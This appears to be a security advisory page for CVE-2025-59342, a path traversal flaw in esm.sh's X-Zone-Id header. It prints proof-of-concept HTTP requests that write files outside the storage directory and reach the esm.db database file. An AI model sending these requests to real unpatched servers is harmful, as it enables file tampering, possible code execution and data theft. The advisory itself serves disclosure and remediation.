medium5.5Public exploit code

CVE-2025-59342

esm.sh is a nobuild content delivery network(CDN) for modern web development.

Public exploit code

Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.

esm-dev 136 - Path Traversal2025-12-16 · webapps · multiple

Impact

## Summary A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`). **Severity:** Medium **Component / Endpoint:** `POST /transform` — handling of `X-Zone-Id` header The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 **Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks. --- ## Proof of Concept (POC) Request (attacker-supplied `X-Zone-Id` contains path traversal): ``` POST /transform HTTP/1.1 Host: localhost:8888 User-Agent: Den/8.7.1 Accept: */* Connection: keep-alive Referer: http://localhost:9999/ Content-Type: application/json X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/ Content-Length: 325 { "filename": "example2.js", "lang": "js", "code": "console.log('hello');", "importMap": { "imports": { "react": "https://esm.sh/react", "react-dom": "https://esm.sh/react-dom" } }, "jsxImportSource": "react", "target": "es2022", "sourceMap": "external", "minify": true } ``` <img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" /> Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`. This can be trigger with another path traversal request below ``` GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1 Host: localhost:8888 User-Agent: localhost Accept: */* Connection: keep-alive X-Zone-Id: ../ Referer: http://localhost:9999/ ``` <img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" /> --- ## Remediation Simply remove any .. in the `X-Zone-Id` header before actually process the file. ## Credits - [Ai Ho (Jessie)](https://github.com/j3ssie) - [CL Yang](https://github.com/A11riseforme)

Affected packages

Ecosystem	Package	Affected	Fixed in
go	`github.com/esm-dev/esm.sh`	<= 136	136.1

Weakness classification

CWE-24

Public exploit code

Impact

Affected packages

Weakness classification

References